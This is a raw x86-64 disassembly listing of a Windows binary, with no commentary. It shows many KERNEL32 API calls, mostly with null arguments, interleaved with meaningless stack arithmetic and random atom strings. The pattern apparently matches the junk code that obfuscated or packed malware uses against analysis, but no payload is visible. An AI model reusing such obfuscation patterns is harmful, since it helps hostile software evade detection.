mov rcx, qword [rsp + 0xca50]
call qword [sym.imp.KERNEL32.dll_WaitForSingleObject]
mov dword [rsp + 0x65a0], eax
mov rax, qword [rsp + 0xd3b0]
mov eax, dword [rax]
mov dword [rsp + 0x695c], eax
call qword [sym.imp.KERNEL32.dll_GetCurrentProcess]
mov qword [rsp + 0xe0f8], rax
call qword [sym.imp.KERNEL32.dll_GetCommandLineW]
mov qword [rsp + 0xc678], rax
movzx eax, byte [0x1401c8a16]
movzx ecx, byte [rsp + 0x235]
cdq
idiv ecx
mov rcx, qword [rsp + 0xc4b8]
mov byte [rcx], al
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov dword [rsp + 0x6960], eax
call qword [sym.imp.KERNEL32.dll_GetCurrentProcessId]
mov dword [rsp + 0x65c8], eax
mov rax, qword [rsp + 0xcdf8]
mov qword [rsp + 0xe260], rax
mov dword [rsp + 0x20], 0
xor r9d, r9d
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetProcessTimes]
movzx ecx, word [rsp + 0x25c0]
call qword [sym.imp.KERNEL32.dll_DeleteAtom]
mov word [rsp + 0x25cc], ax
mov rax, qword [rsp + 0xc5a8]
mov rcx, qword [rsp + 0xc9f8]
mov rcx, qword [rcx]
mov rax, qword [rax]
sub rax, rcx
mov qword [rsp + 0xd6b0], rax
mov eax, dword [rsp + 0x5db4]
mov ecx, dword [0x1401c8a18]
sub ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0xd870]
mov dword [rcx], eax
mov rax, qword [rsp + 0xdb28]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0x3a2]
or eax, ecx
mov byte [rsp + reloc.SHELL32.dll_SHChangeNotification_Unlock], al
movzx ecx, word [rsp + 0x25c4]
call qword [sym.imp.KERNEL32.dll_DeleteAtom]
mov word [rsp + 0x1ff4], ax
movsx eax, word [rsp + 0x158c]
mov rcx, qword [rsp + 0xc7f8]
movsx ecx, word [rcx]
shl eax, cl
mov rcx, qword [rsp + 0xd678]
mov word [rcx], ax
mov rax, qword [rsp + 0xc9a8]
movzx eax, word [rax]
mov rcx, qword [rsp + 0xde40]
movzx ecx, word [rcx]
sar eax, cl
mov word [0x1401c8c48], ax
mov dword [rsp + 0x28], 0
mov dword [rsp + 0x20], 0
xor r9d, r9d
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CreateFileMappingW]
mov rax, qword [rsp + 0xc118]
mov qword [rsp + 0xe268], rax
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetModuleFileNameW]
mov rax, qword [rsp + 0xc6d8]
movzx eax, word [rax]
mov rcx, qword [0x1401c8a50]
movzx ecx, word [rcx]
sub eax, ecx
mov word [rsp + 0x1404], ax
movsx eax, word [rsp + 0xbdc]
mov rcx, qword [rsp + 0xc1c0]
movsx ecx, word [rcx]
add eax, ecx
mov word [rsp + 0x1104], ax
mov rax, qword [rsp + 0xd7e8]
mov rcx, qword [rsp + 0xe1b0]
mov rax, qword [rax]
add rax, rcx
mov qword [rsp + 0xdbd0], rax
mov rax, qword [rsp + 0xe008]
mov rcx, qword [rsp + 0xb3e0]
add rcx, rax
mov rax, rcx
mov qword [rsp + 0xae00], rax
movzx eax, byte [rsp + 0x29e]
mov byte [rsp + 0x3f5], al
xor r9d, r9d
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CreateEventW]
mov qword [rsp + 0xe270], rax
mov eax, dword [rsp + 0x6544]
mov ecx, dword [rsp + 0x6514]
add ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0xcfa8]
mov dword [rcx], eax
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov dword [rsp + 0x6590], eax
mov rax, qword [rsp + 0xc900]
movzx eax, word [rax]
mov word [rsp + 0x25d0], ax
mov rcx, qword [rsp + 0xc998]
call qword [sym.imp.KERNEL32.dll_ResetEvent]
mov rax, qword [rsp + 0xcc38]
mov rax, qword [rax]
movzx ecx, al
mov rax, qword [rsp + 0xa8e0]
shl rax, cl
mov qword [0x1401c8ca0], rax
mov dword [rsp + 0x20], 0
xor r9d, r9d
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetProcessTimes]
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_SetHandleCount]
movzx eax, byte [rsp + 0x3da]
mov rcx, qword [rsp + 0xc438]
movzx ecx, byte [rcx]
sar eax, cl
mov byte [rsp + 0x3b7], al
call qword [sym.imp.KERNEL32.dll_GetCurrentProcess]
mov qword [rsp + 0xe278], rax
mov rax, qword [rsp + 0xcb48]
mov ecx, dword [rsp + 0x650c]
mov eax, dword [rax]
and eax, ecx
mov dword [rsp + 0x6620], eax
lea rax, [rsp + 0x1a34]
mov qword [rsp + 0xe280], rax
movzx eax, word [rsp + 0x24b4]
mov rcx, qword [rsp + 0xde40]
movzx ecx, word [rcx]
xor eax, ecx
mov word [rsp + 0x2264], ax
mov rax, qword [rsp + 0xcce0]
mov rcx, qword [rsp + 0xe030]
mov rcx, qword [rcx]
mov rax, qword [rax]
or rax, rcx
mov qword [rsp + 0xbad8], rax
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetFileType]
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_FlushViewOfFile]
mov rcx, qword [rsp + 0xd838]
call qword [sym.imp.KERNEL32.dll_ResetEvent]
lea rcx, str.QVmZHbaq
call qword [sym.imp.KERNEL32.dll_AddAtomW]
mov word [rsp + 0x23a0], ax
mov rax, qword [rsp + 0xc5d8]
mov rcx, qword [rsp + 0xd598]
mov eax, dword [rax]
imul eax, dword [rcx]
mov rcx, qword [rsp + 0xcde8]
mov dword [rcx], eax
call qword [sym.imp.KERNEL32.dll_GetCurrentProcess]
mov qword [rsp + 0xe288], rax
mov rcx, qword [rsp + 0xd5f0]
call qword [sym.imp.KERNEL32.dll_SetEvent]
mov dword [rsp + 0x67b8], eax
mov rax, qword [0x1401c8ca8]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0x1e8]
sub eax, ecx
mov byte [rsp + 0x2c3], al
mov rax, qword [rsp + 0xcf00]
movzx eax, word [rax]
mov word [rsp + 0x25d4], ax
mov rax, qword [rsp + 0xd530]
movzx eax, word [rax]
mov rcx, qword [rsp + 0xdfd0]
movzx ecx, word [rcx]
or eax, ecx
mov word [0x1401c7200], ax
mov rax, qword [rsp + 0xb9c8]
movzx ecx, al
mov rax, qword [rsp + 0xc7b0]
sar rax, cl
mov qword [rsp + 0xb0f8], rax
lea rax, [rsp + 0xcd68]
mov qword [rsp + 0xe290], rax
movzx ecx, word [rsp + 0x25c4]
call qword [sym.imp.KERNEL32.dll_DeleteAtom]
mov word [rsp + 0x25d8], ax
mov rcx, qword [rsp + 0xd040]
call qword [sym.imp.KERNEL32.dll_SetEvent]
mov dword [rsp + 0x66bc], eax
call qword [sym.imp.KERNEL32.dll_GetCurrentProcess]
mov qword [rsp + 0xda40], rax
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_EscapeCommFunction]
xor r9d, r9d
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CreateEventW]
mov qword [rsp + 0xe298], rax
mov rax, qword [0x1401c8c20]
movzx ecx, al
mov rax, qword [rsp + 0xd370]
shl rax, cl
mov rcx, qword [rsp + 0xd1d8]
mov qword [rcx], rax
mov rax, qword [rsp + 0xc2b8]
movsx eax, word [rax]
mov rcx, qword [rsp + 0xd9f0]
movsx ecx, word [rcx]
sub eax, ecx
mov word [rsp + 0x1d94], ax
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_ResetWriteWatch]
lea rcx, [rsp + 0x20008]
call qword [sym.imp.KERNEL32.dll_GetSystemInfo]
movsx eax, byte [rsp + 0x377]
movsx ecx, byte [rsp + 0x206]
sub eax, ecx
mov rcx, qword [rsp + 0xd1f0]
mov byte [rcx], al
mov rax, qword [rsp + 0xc730]
mov rcx, qword [rsp + 0xbfd8]
add rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0xd7a8]
mov qword [rcx], rax
mov eax, dword [rsp + 0x6764]
mov dword [rsp + 0x6964], eax
mov rax, qword [rsp + 0xcb48]
mov rcx, qword [rsp + 0xc728]
mov ecx, dword [rcx]
mov eax, dword [rax]
add eax, ecx
mov dword [rsp + 0x6660], eax
mov rax, qword [rsp + 0xe000]
movzx eax, byte [rax]
mov byte [rsp + 0x3f6], al
movzx eax, word [rsp + 0x2070]
mov word [0x1401c8e2c], ax
call qword [sym.imp.KERNEL32.dll_GetVersion]
mov dword [rsp + 0x68cc], eax
movzx eax, word [rsp + 0x910]
movzx ecx, word [rsp + 0x1180]
add eax, ecx
mov word [rsp + 0x1a48], ax
mov r9d, 0x17e5
xor r8d, r8d
lea rdx, [rsp + 0xc978]
mov ecx, 1
call qword [sym.imp.KERNEL32.dll_WaitForMultipleObjects]
mov dword [rsp + 0x6968], eax
mov rax, qword [rsp + 0xdcd8]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x1164]
add eax, ecx
mov word [rsp + 0x1ef8], ax
mov rax, qword [rsp + 0xc6b8]
mov rcx, qword [rsp + 0xd7b8]
mov rcx, qword [rcx]
mov rax, qword [rax]
xor rax, rcx
mov qword [rsp + 0x9530], rax
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_SetMessageWaitingIndicator]
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov dword [rsp + 0x67f4], eax
mov eax, dword [rsp + 0x6854]
mov ecx, dword [rsp + 0x5a3c]
and ecx, eax
mov eax, ecx
mov dword [rsp + 0x65d0], eax
mov rax, qword [rsp + 0xd720]
mov rax, qword [rax]
mov qword [rsp + 0xe2a0], rax
mov rax, qword [rsp + 0xd170]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0x234]
sar eax, cl
mov byte [rsp + 0x375], al
lea rcx, [rsp + 0x202a8]
call qword [sym.imp.KERNEL32.dll_GetNativeSystemInfo]
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_DisconnectNamedPipe]
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_AssignProcessToJobObject]
movsx eax, word [rsp + 0x2540]
mov rcx, qword [rsp + 0xd0b0]
movsx ecx, word [rcx]
or eax, ecx
mov rcx, qword [rsp + 0xd0f0]
mov word [rcx], ax
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_FreeResource]
mov rax, qword [rsp + 0xca60]
movzx eax, word [rax]
mov rcx, qword [rsp + 0xc558]
movzx ecx, word [rcx]
shl eax, cl
mov word [rsp + 0x148c], ax
lea rdx, [rsp + 0x26648]
mov rcx, qword [rsp + 0xc330]
call qword [sym.imp.KERNEL32.dll_GetFileInformationByHandle]
mov dword [rsp + 0x65f0], eax
mov rax, qword [rsp + 0xe0c0]
mov rcx, qword [rsp + 0xdb98]
mov rcx, qword [rcx]
mov rax, qword [rax]
sub rax, rcx
mov rcx, qword [0x1401c8aa8]
mov qword [rcx], rax
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_ReleaseSemaphore]
mov rax, qword [rsp + 0xca60]
movzx eax, word [rax]
mov rcx, qword [rsp + 0xd290]
movzx ecx, word [rcx]
sub eax, ecx
mov word [rsp + 0x23a4], ax
mov rax, qword [rsp + 0xc540]
mov rax, qword [rax]
mov qword [rsp + 0xe2a8], rax
mov rax, qword [0x1401c8c38]
mov rax, qword [rax]
movzx ecx, al
mov rax, qword [rsp + 0x9ae8]
sar rax, cl
mov qword [rsp + 0xe138], rax
mov rax, qword [rsp + 0xc350]
mov rcx, qword [rsp + 0xb850]
mov rax, qword [rax]
or rax, rcx
mov qword [rsp + 0xca68], rax
call qword [sym.imp.KERNEL32.dll_GetVersion]
mov dword [rsp + 0x63f0], eax
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_DecodePointer]
mov rcx, qword [rsp + 0xcf88]
call qword [sym.imp.KERNEL32.dll_ReleaseMutex]
mov qword [rsp + 0x30], 0
mov dword [rsp + 0x28], 0x400
mov dword [rsp + 0x20], 3
xor r9d, r9d
mov r8d, 8
mov edx, 0x40000000
lea rcx, str.TwhdPQE_fCyYjilk
call qword [sym.imp.KERNEL32.dll_CreateFileW]
mov qword [rsp + 0xe2b0], rax
call qword [sym.imp.KERNEL32.dll_GetCommandLineW]
mov qword [rsp + 0xcb98], rax
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_FlushFileBuffers]
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GlobalUnWire]
mov rax, qword [rsp + 0xda18]
mov eax, dword [rax]
movzx ecx, al
mov eax, dword [rsp + 0x5e38]
shl eax, cl
mov dword [rsp + 0x59b0], eax
movzx ecx, word [rsp + 0x1f30]
call qword [sym.imp.KERNEL32.dll_DeleteAtom]
mov word [rsp + 0x25dc], ax
mov rax, qword [rsp + 0xda28]
mov ecx, dword [rsp + 0x578c]
mov eax, dword [rax]
sub eax, ecx
mov dword [rsp + 0x65dc], eax
movzx eax, byte [rsp + 0x26d]
mov byte [rsp + 0x3f7], al
mov r9d, 0x840
xor r8d, r8d
lea rdx, [rsp + 0xd1c8]
mov ecx, 1
call qword [sym.imp.KERNEL32.dll_WaitForMultipleObjects]
mov dword [rsp + 0x6558], eax
movsx eax, byte [rsp + 0x3ee]
mov rcx, qword [rsp + 0xce18]
movsx ecx, byte [rcx]
add eax, ecx
mov byte [rsp + 0x3a5], al
lea rcx, str.PzWwF.XusOe_KE5IATM
call qword [sym.imp.KERNEL32.dll_AddAtomW]
mov word [rsp + 0x2088], ax
call qword [sym.imp.KERNEL32.dll_GetCurrentProcessId]
mov dword [rsp + 0x6710], eax
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_AssignProcessToJobObject]
lea rcx, [rsp + 0x1d430]
call qword [sym.imp.KERNEL32.dll_LeaveCriticalSection]
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_ResetEvent]
movsx eax, word [rsp + 0x23c8]
mov rcx, qword [rsp + 0xd5e0]
movsx ecx, word [rcx]
xor eax, ecx
mov word [0x1401c8db0], ax
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_SetMailslotInfo]
mov rax, qword [rsp + 0xc638]
movzx eax, word [rax]
mov word [rsp + 0x25e0], ax
mov rax, qword [rsp + 0xd868]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x1678]
and eax, ecx
mov rcx, qword [rsp + 0xcd00]
mov word [rcx], ax
mov rax, qword [0x1401c8d98]
movzx eax, word [rax]
mov rcx, qword [rsp + 0xccf0]
movzx ecx, word [rcx]
shl eax, cl
mov word [rsp + 0x9cc], ax
xor r9d, r9d
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CreateEventW]
mov qword [rsp + 0xe2b8], rax
mov rax, qword [rsp + 0xcac8]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0x383]
sar eax, cl
mov byte [rsp + 0xd2], al
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_DecodePointer]
mov rax, qword [rsp + 0xde00]
mov rax, qword [rax]
mov rcx, qword [rsp + 0xc008]
or rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0xd778]
mov qword [rcx], rax
movzx ecx, word [rsp + 0x24fc]
call qword [sym.imp.KERNEL32.dll_DeleteAtom]
mov word [rsp + 0x201c], ax
lea rax, [rsp + 0x62a4]
mov qword [rsp + 0xe2c0], rax
mov rax, qword [rsp + 0xc2b8]
movsx eax, word [rax]
movsx ecx, word [rsp + 0x237c]
sub eax, ecx
mov rcx, qword [rsp + 0xc638]
mov word [rcx], ax
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_PulseEvent]
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_AssignProcessToJobObject]
lea rcx, str.A7D28_DoLJZ4kQ
call qword [sym.imp.KERNEL32.dll_AddAtomW]
mov word [rsp + 0x2344], ax
movzx eax, word [0x1401c70a8]
movzx ecx, word [rsp + 0x21cc]
add eax, ecx
mov word [rsp + 0xbb0], ax
mov rax, qword [rsp + 0xc990]
mov rax, qword [rax]
mov qword [0x1401c8e30], rax
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_InitAtomTable]
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_SetProcessWorkingSetSize]
movzx ecx, word [rsp + 0x2144]
call qword [sym.imp.KERNEL32.dll_DeleteAtom]
mov word [rsp + 0x25e4], ax
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov dword [rsp + 0x6360], eax
call qword [sym.imp.KERNEL32.dll_GetCurrentProcess]
mov qword [rsp + 0xc0b8], rax
mov rax, qword [rsp + 0xbae0]
mov qword [rsp + 0xe2c8], rax
mov rax, qword [0x1401c8aa0]
mov rax, qword [rax]
mov rcx, qword [rsp + 0xa620]
sub rcx, rax
mov rax, rcx
mov qword [rsp + 0xe088], rax
lea rax, [rsp + 0xa8e0]
mov qword [rsp + 0xe2d0], rax
call qword [sym.imp.KERNEL32.dll_GetCommandLineW]
mov qword [rsp + 0xd908], rax
movzx eax, word [rsp + 0x22ac]
movzx ecx, word [rsp + 0x1f20]
shl eax, cl
mov word [rsp + 0xbb0], ax
xor r9d, r9d
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetFileTime]
movzx eax, byte [rsp + 0x2e3]
mov rcx, qword [rsp + 0xd7f0]
movzx ecx, byte [rcx]
or eax, ecx
mov byte [rsp + 0x18a], al
lea rcx, str.jswq9Bd.UAhYQdfq
call qword [sym.imp.KERNEL32.dll_AddAtomW]
mov word [rsp + 0x25e8], ax
mov r9d, 1
lea r8, [rsp + 0xc5d0]
mov rdx, qword [rsp + 0xd748]
mov rcx, qword [rsp + 0xcfc0]
call qword [sym.imp.KERNEL32.dll_SetFilePointerEx]
mov dword [rsp + 0x6840], eax
call qword [sym.imp.KERNEL32.dll_GetCommandLineW]
mov qword [rsp + 0xe2d8], rax
call qword [sym.imp.KERNEL32.dll_GetCurrentProcess]
mov qword [rsp + 0xda40], rax
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_InitAtomTable]
lea rcx, [rsp + 0x1d430]
call qword [sym.imp.KERNEL32.dll_EnterCriticalSection]
mov eax, dword [rsp + 0x5790]
mov rcx, qword [rsp + 0xd750]
mov qword [rsp + 0xe2e0], rcx
movzx ecx, al
mov rax, qword [rsp + 0xe2e0]
mov eax, dword [rax]
sar eax, cl
mov dword [rsp + 0x5eac], eax
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_DecodePointer]
mov rax, qword [rsp + 0xe2c0]
mov rcx, qword [rsp + 0xd2f8]
mov ecx, dword [rcx]
mov eax, dword [rax]
add eax, ecx
mov rcx, qword [rsp + 0xd710]
mov dword [rcx], eax
lea rcx, [rsp + 0x20818]
call qword [sym.imp.KERNEL32.dll_GetSystemInfo]
mov rax, qword [rsp + 0xc488]
mov qword [rsp + 0xe2e8], rax
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_SetPriorityClass]
mov rax, qword [rsp + 0xd880]
movsx eax, byte [rax]
mov rcx, qword [rsp + 0xdb28]
movsx ecx, byte [rcx]
sub eax, ecx
mov byte [0x1401c702a], al
lea rcx, [rsp + 0x1fca8]
call qword [sym.imp.KERNEL32.dll_GetNativeSystemInfo]
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetFileType]
movsx eax, word [rsp + 0x2118]
mov rcx, qword [0x1401c8b50]
movsx ecx, word [rcx]
xor eax, ecx
mov word [rsp + 0x22b0], ax
mov rax, qword [rsp + 0xd3e8]
movsx eax, word [rax]
mov rcx, qword [rsp + 0xdd90]
movsx ecx, word [rcx]
and eax, ecx
mov rcx, qword [rsp + 0xc4e0]
mov word [rcx], ax
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov dword [rsp + 0x6430], eax
movzx eax, word [rsp + 0x1aa0]
mov word [rsp + 0x25ec], ax
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_AssignProcessToJobObject]
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov dword [rsp + 0x67bc], eax
movzx ecx, word [rsp + 0x21bc]
call qword [sym.imp.KERNEL32.dll_DeleteAtom]
mov word [rsp + 0x25a8], ax
call qword [sym.imp.KERNEL32.dll_GetCommandLineW]
mov qword [rsp + 0xc1b8], rax
mov rax, qword [rsp + 0xd488]
mov rcx, qword [0x1401c8a90]
mov rcx, qword [rcx]
mov rax, qword [rax]
or rax, rcx
mov qword [rsp + 0xb7e0], rax
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_AssignProcessToJobObject]
mov rax, qword [rsp + 0xe010]
mov eax, dword [rax]
movzx ecx, al
mov eax, dword [rsp + 0x670c]
shl eax, cl
mov dword [rsp + 0x6244], eax
mov rax, qword [rsp + 0xce08]
movsx eax, byte [rax]
mov rcx, qword [rsp + 0xcd18]
movsx ecx, byte [rcx]
sar eax, cl
mov rcx, qword [rsp + 0xcee8]
mov byte [rcx], al
mov rax, qword [0x1401c8c78]
mov rax, qword [rax]
mov qword [rsp + 0xe2f0], rax
mov dword [rsp + 0x20], 0
xor r9d, r9d
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetProcessTimes]
lea rdx, [rsp + 0x26568]
mov rcx, qword [rsp + 0xc410]
call qword [sym.imp.KERNEL32.dll_GetFileInformationByHandle]
mov dword [rsp + 0x6454], eax
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CreateMutexW]
mov qword [rsp + 0xe2f8], rax
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CancelWaitableTimer]
mov rax, qword [rsp + 0xdfb0]
movsx eax, word [rax]
movsx ecx, word [rsp + 0x237c]
sub eax, ecx
mov word [rsp + 0xe8c], ax
movzx eax, word [rsp + 0x1fa0]
mov rcx, qword [rsp + 0xcdf0]
movzx ecx, word [rcx]
add eax, ecx
mov word [0x1401c8d30], ax
mov edx, 0xbf0
mov rcx, qword [rsp + 0xe090]
call qword [sym.imp.KERNEL32.dll_WaitForSingleObject]
mov dword [rsp + 0x66a8], eax
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_AssignProcessToJobObject]
call qword [sym.imp.KERNEL32.dll_GetVersion]
mov dword [rsp + 0x68f0], eax
lea rcx, [rsp + 0x1d458]
call qword [sym.imp.KERNEL32.dll_LeaveCriticalSection]
mov rax, qword [0x1401c8c58]
mov rcx, qword [rsp + 0xd230]
mov rcx, qword [rcx]
mov rax, qword [rax]
add rax, rcx
mov qword [rsp + 0xc0b0], rax
movzx eax, word [rsp + 0xbb0]
mov rcx, qword [rsp + 0xc948]
movzx ecx, word [rcx]
sub eax, ecx
mov word [rsp + 0x1ce8], ax
mov eax, dword [rsp + 0x6584]
mov rcx, qword [rsp + 0xc628]
mov qword [rsp + 0xe300], rcx
movzx ecx, al
mov rax, qword [rsp + 0xe300]
mov eax, dword [rax]
sar eax, cl
mov dword [rsp + 0x6630], eax
mov rax, qword [rsp + 0xd7f0]
movzx eax, byte [rax]
mov byte [rsp + 0x3f8], al
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetStdHandle]
lea rcx, [rsp + 0x20308]
call qword [sym.imp.KERNEL32.dll_GetNativeSystemInfo]
movsx eax, byte [rsp + 0x3ab]
mov rcx, qword [rsp + 0xd7b0]
movsx ecx, byte [rcx]
or eax, ecx
mov rcx, qword [rsp + 0xd978]
mov byte [rcx], al
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_AssignProcessToJobObject]
mov rax, qword [rsp + 0xca58]
mov rax, qword [rax]
mov rcx, qword [0x1401c8c78]
mov qword [rsp + 0xe308], rcx
movzx ecx, al
mov rax, qword [rsp + 0xe308]
mov rax, qword [rax]
shl rax, cl
mov qword [rsp + 0xe240], rax
mov eax, dword [rsp + 0x6678]
mov dword [rsp + 0x696c], eax
mov rax, qword [rsp + 0xe0c8]
movsx eax, word [rax]
movsx ecx, word [rsp + 0x253c]
add eax, ecx
mov word [rsp + 0x1b04], ax
mov rax, qword [rsp + 0xcfb0]
movzx eax, word [rax]
mov rcx, qword [rsp + 0xc618]
movzx ecx, word [rcx]
add eax, ecx
mov word [0x1401c8d00], ax
mov rax, qword [rsp + 0xdd70]
cqo
idiv qword [rsp + 0xd808]
mov qword [rsp + 0x9738], rax
mov rax, qword [0x1401c8a60]
mov rax, qword [rax]
mov rcx, qword [rsp + 0xb270]
and rcx, rax
mov rax, rcx
mov qword [rsp + 0xd4c8], rax
movzx ecx, word [rsp + 0x23f4]
call qword [sym.imp.KERNEL32.dll_DeleteAtom]
mov word [rsp + 0x1f58], ax
mov rax, qword [rsp + 0xc6b0]
movsx eax, word [rax]
mov rcx, qword [rsp + 0xca28]
movsx ecx, word [rcx]
xor eax, ecx
mov word [rsp + 0x2118], ax
lea rcx, [rsp + 0x1fe28]
call qword [sym.imp.KERNEL32.dll_GetSystemInfo]
lea rax, [rsp + 0x2364]
mov qword [rsp + 0xe310], rax
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetThreadPriorityBoost]
mov rax, qword [rsp + 0xca58]
mov rax, qword [rax]
mov rcx, qword [0x1401c71f0]
sub rcx, rax
mov rax, rcx
mov qword [rsp + 0xc820], rax
mov eax, dword [rsp + 0x67cc]
mov dword [rsp + 0x6970], eax
mov rax, qword [rsp + 0xc668]
movsx eax, byte [rax]
mov rcx, qword [rsp + 0xc4f8]
movsx ecx, byte [rcx]
sar eax, cl
mov byte [rsp + 0x3d8], al
xor r9d, r9d
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CreateEventW]
mov qword [rsp + 0xe318], rax
mov rcx, qword [rsp + 0xc478]
call qword [sym.imp.KERNEL32.dll_ReleaseMutex]
mov rax, qword [0x1401c8a60]
mov rcx, qword [rsp + 0xcc88]
mov rcx, qword [rcx]
mov rax, qword [rax]
or rax, rcx
mov qword [rsp + 0x9668], rax
movzx eax, word [rsp + 0x1fdc]
mov word [0x1401c8e38], ax
movzx eax, word [rsp + 0x107c]
movzx ecx, word [rsp + 0x25ac]
shl eax, cl
mov word [rsp + 0x2418], ax
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GlobalUnWire]
mov rax, qword [rsp + 0xd7f0]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0xe118]
movzx ecx, byte [rcx]
imul eax, ecx
mov byte [rsp + 0x394], al
mov eax, dword [rsp + 0x5f08]
mov dword [rsp + 0x6974], eax
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetFileInformationByHandle]
mov rax, qword [rsp + 0xc130]
mov rcx, qword [rsp + 0xd2e8]
sub rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0xd2b8]
mov qword [rcx], rax
mov rax, qword [rsp + 0xde08]
movzx eax, byte [rax]
mov byte [rsp + 0x3f9], al
mov rax, qword [rsp + 0xc570]
mov ecx, dword [rsp + 0x5bc4]
mov eax, dword [rax]
add eax, ecx
mov dword [rsp + 0x6798], eax
mov rax, qword [rsp + 0xd618]
mov rcx, qword [0x1401c8c78]
mov rcx, qword [rcx]
mov rax, qword [rax]
add rax, rcx
mov qword [rsp + 0xd428], rax
lea rax, [rsp + 0x254c]
mov qword [rsp + 0xe320], rax
mov rax, qword [rsp + 0xdcd8]
movzx eax, word [rax]
mov rcx, qword [rsp + 0xda68]
movzx ecx, word [rcx]
sub eax, ecx
mov word [0x1401c7204], ax
mov rax, qword [0x1401c7108]
movzx ecx, al
mov rax, qword [rsp + 0xc898]
sar rax, cl
mov qword [rsp + 0x99d8], rax
lea rcx, [rsp + 0x1d458]
call qword [sym.imp.KERNEL32.dll_EnterCriticalSection]
xor r9d, r9d
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CreateEventW]
mov qword [rsp + 0xe328], rax
mov rax, qword [rsp + 0xc7f0]
movzx eax, word [rax]
mov rcx, qword [rsp + 0xd740]
movzx ecx, word [rcx]
or eax, ecx
mov word [rsp + 0x13b4], ax
mov rax, qword [rsp + 0xc1c0]
movsx eax, word [rax]
movsx ecx, word [rsp + 0x20c0]
shl eax, cl
mov word [rsp + 0x1b38], ax
mov rax, qword [0x1401c8aa0]
mov rcx, qword [rsp + 0xcf80]
mov rcx, qword [rcx]
mov rax, qword [rax]
and rax, rcx
mov qword [rsp + 0x9db0], rax
mov eax, dword [rsp + 0x6934]
mov dword [rsp + 0x6978], eax
mov rax, qword [rsp + 0xc668]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0x309]
xor eax, ecx
mov byte [rsp + reloc.SHELL32.dll_SHChangeNotification_Unlock], al
call qword [sym.imp.KERNEL32.dll_GetCommandLineW]
mov qword [rsp + 0xc120], rax
call qword [sym.imp.KERNEL32.dll_GetVersion]
mov dword [rsp + 0x6488], eax
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_TransmitCommChar]
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_AssignProcessToJobObject]
lea rdx, [rsp + 0x260d0]
mov rcx, qword [rsp + 0xc330]
call qword [sym.imp.KERNEL32.dll_GetFileInformationByHandle]
mov dword [rsp + 0x6720], eax
mov rax, qword [rsp + 0xd778]
